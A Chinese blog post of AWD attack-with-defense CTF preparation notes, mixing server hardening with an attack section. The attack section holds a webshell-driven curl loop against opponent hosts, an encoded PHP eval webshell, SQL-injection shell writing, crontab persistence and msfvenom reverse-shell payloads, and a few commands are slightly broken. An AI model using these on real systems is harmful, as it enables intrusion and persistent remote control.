AWD攻防赛备战笔记

本文最后更新于:36 分钟前

提前准备

在有网络的情况下,提前下载好:

1.漏洞利用库(exp、poc)

2.goby漏扫等(大流量,慎用)

3.各种环境(可能会用到,例如php、python、mysql等)

4.第三方waf:D盾安全狗 AoiAWD、ModSecurity

5.各种脚本(文件监控、不死马、批量传flag等)

6.c2(反弹shell,例如msf、spark、havoc等)

7.提权exp(例如脏牛、脏管、suid等)

8.代码审计工具(seay、fortify)

9.webshell(百汇华哥免杀大马,或者纯符号马等)

防御阶段

服务器防御

修改密码和端口

1.ssh密码

1
passwd 用户名

2.ssh端口

1
2
3
4
vim /etc/ssh/sshd_config
Port 新端口
:wq保存
service sshd restart

3.数据库密码和访问ip

1
2
3
4
5
6
7
8
9
10
mysql>use mysql;
mysql>set password for root@localhost=password('新数据库密码');

# 方法一:修改表,只允许本机访问
mysql>update user set host='localhost' where user='root';
# 方法二:授权
# 多个ip一定要加上WITH GRANT OPTION,单个ip可以不用
mysql>GRANT ALL PRIVILEGES ON *.* TO root@'192.168.192.%' IDENTIFIED BY '数据库密码' WITH GRANT OPTION;
# 最后一步必须有!
mysql>flush privileges;

4.数据库连接文件(容易忽略!)

一般是config.php,里面会有数据库的连接信息。

5.关掉不必要的端口

备份源码

一定要有初始web环境!

1.mobaxterm直接拖

2.先用zip命令打包,再用moba拖,命名为init.zip

备份数据库

1.MySQLdump

1
mysqldump -u root -p 密码 -P 端口 -A > backup.sql

2.navicat图形化界面

还原数据库

1.mysqldump

1
mysqldump -u root -p 密码 -P 端口 新的数据库名 < SQL文件绝对路径 

2.自带source

1
2
mysql>use db;
mysql>source SQL文件绝对路径;

3.navicat图形化界面

查看账户

查看是否有后门账户,如果有就删除,或者查看权限,看能否提权。命令:

1
cat /etc/passwd | cut -f 1 -d

添加和删除账户:

1
2
3
useradd 用户名 # 不会生成对应家目录
adduser 用户名 # 会生成对应家目录
userdel -r 用户名

查看进程和端口

命令:

1
2
3
4
ps -aux
ps -ef
netstat -ano
netstat -antulp

网站防御

禁用函数

肯定有用,但是可能不符合比赛规则,而且权限可能不够。。。

安装waf

1.每个文件前加require_once('waf.php')

2.改PHP的 .user.ini配置文件:

1
2
auto_prepend_file = waf绝对路径; # 包含在文件头
auto_append_file = waf绝对路径; # 包含在文件尾

3.一条命令,记得修改:

1
sudo find /var/www/html/path_you_want -type f -path "*.php" | xargs sed -i "s/<?php /<?php\nrequire_once('\/tmp\/waf.php');\n/g"

意思就是查找需要加waf的目录下所有php文件,在头部添加一句,用require_once函数引入/tmp/waf.php文件。因为sed命令利用 / 区分文件中的原字符串和修改的字符串,所以我们要对 / 进行转义。类似于在单引号中再次使用单引号时我们也要用反斜杠转义。

4.第三方waf(提前下载好)

漏洞修补

用D盾或其它后门扫描工具扫下拷贝的网站源码,如果有后门文件立即删除。注意有的是误报,不要删错了导致服务不可用而扣分。也可以修改下后门文件,给别人一个假的 flag 。当然,也可以代码审计。例如:

1.修补SQL注入漏洞:可以采用预处理的PHP语句。

2.修复万能密码:使用PHP的mysql_real_escape_string函数。

查杀不死马

可以重启服务,也可以利用条件竞争。命令(不建议这样):

1
ps -aux|grep 'www-data'|awk '{print $2}|xargs kill -9

防火墙策略(需要root权限)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/bin/bash
#Allow youself Ping other hosts , prohibit others Ping you
iptables -A INPUT -p icmp --icmp-type 8 -s 0/0 -j DROP
iptables -A OUTPUT -p icmp --icmp-type 8 -s 0/0 -j ACCEPT
#Close all INPUT FORWARD OUTPUT, just open some ports
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -P OUTPUT DROP
#Open sshiptables -A INPUT -p tcp --dport 22 -j ACCEPT
iptables -A OUTPUT -p tcp --sport 22 -j ACCEPT
#Open port 80iptables -A INPUT -p tcp --dport 80 -j ACCEPT
iptables -A OUTPUT -p tcp --sport 80 -j ACCEPT
#Open multiport
#iptables -A INPUT -p tcp -m multiport --dport 22,80,8080,8081 -j ACCEPT
#Control IP connection
#The maximum number of connections for a single IP is 30iptables -I INPUT -p tcp --dport 80 -m connlimit --connlimit-above 30 -j REJECT
#A single IP allows up to 15 new connections in 60 seconds
iptables -A INPUT -p tcp --dport 80 -m recent --name BAD_HTTP_ACCESS --update --seconds 60 --hitcount 15 -j REJECT
iptables -A INPUT -p tcp --dport 80 -m recent --name BAD_HTTP_ACCESS --set -j ACCEPT
#Prevent port reuse
iptables -A OUTPUT -p tcp --sport 22 -m state --state ESTABLISHED -j ACCEPT
iptables -A OUTPUT -p tcp --sport 80 -m state --state ESTABLISHED -j ACCEPT
iptables -A OUTPUT -p tcp --sport 443 -m state --state ESTABLISHED -j ACCEPT
#Filter abnormal packets
iptables -A INPUT -i eth1 -p tcp --tcp-flags SYN,RST,ACK,FIN SYN -j DROP
iptables -A INPUT -p tcp --tcp-flags ALL FIN,URG,PSH -j DROP
iptables -A INPUT -p tcp --tcp-flags ALL NONE -j DROP
iptables -A INPUT -p tcp --tcp-flags ALL SYN,RST,ACK,FIN,URG -j DROP
iptables -A INPUT -p tcp --tcp-flags ALL SYN,FIN,RST -j DROP
iptables -A INPUT -p tcp --tcp-flags ALL SYN,FIN,PSH -j DROP
iptables -A INPUT -p tcp --tcp-flags ALL SYN,FIN,RST,PSH -j DROP
iptables -A INPUT -p tcp --tcp-flags SYN,RST SYN,RST -j DROP
iptables -A INPUT -p tcp --tcp-flags SYN,FIN SYN,FIN -j DROP
#Prevent DoS attacks
iptables -A INPUT -p tcp --dport 80 -m limit --limit 20/minute --limit-burst 100 -j ACCEPT
#Discard unfamiliar TCP response packs to prevent rebound attacks
iptables -A INPUT -m state --state NEW -p tcp ! --syn -j DROP
iptables -A FORWARD -m state --state NEW -p tcp --syn -j DROP

文件监控(最后做)

定时恢复初始或者已经去除后门/漏洞的状态,防止其他人上传马子。还是上脚本,可能需要离线安装python环境

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 安装python3
sudo mkdir /usr/local/python3
cd /tmp
# 下方版本按需修改
sudo tar -xzvf Python-3.7.4.tgz
cd Python-3.7.4/
sudo ./configure --prefix=/usr/local/python3
sudo make
sudo make install
# 创建python3的链接
sudo ln -s /usr/local/python3/bin/python3 /usr/bin/python3

# 安装setuptools
cd /tmp
sudo tar -xzvf setuptools-41.1.0.zip
cd setuptools-41.1.0/
sudo python3 setup.py install

攻击阶段

端口扫描

扫C段:

1
nmap -sP 192.168.1.0/24

扫指定ip:

1
2
nmap 192.168.1.1 -p 1-65535
nmap 192.168.1.1 -Pn -A

批量改密码

数据库、ssh等密码都可以改,用脚本。

批量上传flag

curl命令:

1
for i in `seq 60 70`; do echo 172.21.129.$i:;curl -s -m 1 --connect-time 3 "http://172.31.129.$i/css/images/yijuhua.php" -d "test=system('curl http://172.21.144.37/flag.txt');" 2>/dev/null; done;

漏洞利用

快速上分

快捷命令:

1
find /var/www/html -name "*.php" |xargs egrep 'assert|eval|phpinfo\(\)|\(base64_decoolcode|shell_exec|passthru|file_put_contents\(\.\*\$|base64_decode\('

使用 find / -name *flag*grep -rn "flag" * 类似的语句可以快速发现 flag 所在的地方,方便后续拿分。

编码一句话

以最简单的<?php eval($_REQUEST['1']); ?>为例:

1
echo PD9waHAgZXZhbCgkX1JFUVVFU1RbJzEnXSk7ID8+Cg==|base64 -d>>.index.php

SQL注入写shell:

1
2
3
mysql>show global variables like '%secure%';
# 十六进制编码
?id=-3')) union select 1,0x3c3f706870206576616c28245f524551554553545b315d293b3f3e,3 into outfile 'C:\\Users\\Administrator.WIN2012\\Desktop\\phpStudy\\WWW\\outfile.php' --+

其它的有文件包含、PHP伪协议、绕过上传黑名单等等。(有待补充)

维持权限

不死马和内存马

crontab定时任务

crontab -e进入界面,输入以下任务:

1
2
# 每5分钟执行一次shell.elf
*/5 * * * * ./shell.elf >/dev/null 2>&1

反弹shell

下载地址:https://github.com/pentestmonkey/php-reverse-shell(已下载,文件名为`rev-shell.php`),或者利用Chrome插件`Hack-Tools`(浏览器报毒),生成PHP/nc/msf反弹shell命令。

nc监听:nc -lnvp 监听端口

转为可交互式shell:python3 -c "import pty;pty.spawn('/bin/bash')"

还可以配合msf,实现更多骚操作:

1
2
3
4
5
6
# 生成PHP木马
msfvenom -p php/meterpreter/reverse_tcp lhost=你的内网ip lport=你的监听端口 -e x86/shikata_ga_nai -b "\x00" -i 20 -f raw > shell.php
# 升级:ctrl+z挂起会话,再执行命令use post/multi/manage/shell_to_meterpreter

# 生成ELF木马
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=你的内网ip LPORT=你的监听端口 -e x86/shikata_ga_nai -b "\x00" -i 20 -f elf > shell.elf

msf监听:

1
2
3
4
5
6
7
msfconsole
use exploit/multi/handler
# show options
set payload linux/x64/meterpreter/reverse_tcp
set lhost
set lport
exploit

反击阶段

我们可以抓取其他队的攻击流量进行分析,分析其中的payload,甚至可以重放攻击其他队。

流量抓取

1.根据端口过滤

指定源端口:

1
tcpdump -i 网卡名称(如ens33) src port 端口号

2.根据ip过滤

指定目的ip:

1
tcpdump -i 网卡名称 dst net ip

3.根据协议过滤

1
2
3
4
tcpdump -i 网卡名称 arp
tcpdump -i 网卡名称 tcp
tcpdump -i 网卡名称 udp
tcpdump -i 网卡名称 icmp

4.导出流量为文件

1
tcpdump -w xxx.pcap

流量分析

wireshark过滤语法:

1.过滤ip地址

1
2
3
ip.addr == 192.168.1.1 #只显示源/目的IP为192.168.1.1的数据包
not ip.src == 1.1.1.1 #不显示源IP为1.1.1.1的数据包
ip.src == 1.1.1.1 or ip.dst == 1.1.1.2 #只显示源IP为1.1.1.1或目的IP为1.1.1.2的数据包

2.过滤端口

1
2
3
4
5
6
7
8
tcp.port eq 80 #不管端口是来源还是目的都显示80端口 
tcp.port == 80
tcp.port eq 2722
tcp.port eq 80 or udp.port eq 80
tcp.dstport == 80 #只显示tcp协议的目标端口80
tcp.srcport == 80 #只显示tcp协议的来源端口80
udp.port eq 15000
tcp.port >= 1 and tcp.port <= 80 #过滤端口范围

3.过滤mac地址

1
2
3
eth.dst == MAC地址 #过滤目标MAC 
eth.src eq MAC地址 #过滤来源MAC
eth.addr eq MAC地址 #过滤来源MAC和目标MAC都等于MAC地址的

4.过滤http请求

1
2
3
4
5
6
http.request.method ==GET
http.request.method == “POST”
http.host mathes “www.baidu.com|http://baidu.cn“ #matches可以写多个域名
http.host contains “http://www.baidu.com“ #contain只能写一个域名
http containsGET
#例如: http.request.method ==GET&& http contains “Host: “ http.request.method ==GET&& http containsUser-Agent: “ http.request.method ==”POST” && http contains “Host: “ http.request.method == “POST” && http containsUser-Agent: “ http contains “HTTP/1.1 200 OK” && http contains “Content-Type: “ http contains “HTTP/1.0 200 OK” && http contains “Content-Type: “

AWD攻防赛备战笔记
https://rookieterry.github.io/2023/05/13/AWD攻防赛备战笔记/
作者
HackerTerry
发布于
星期六, 五月 13日 2023, 11:12 晚上
许可协议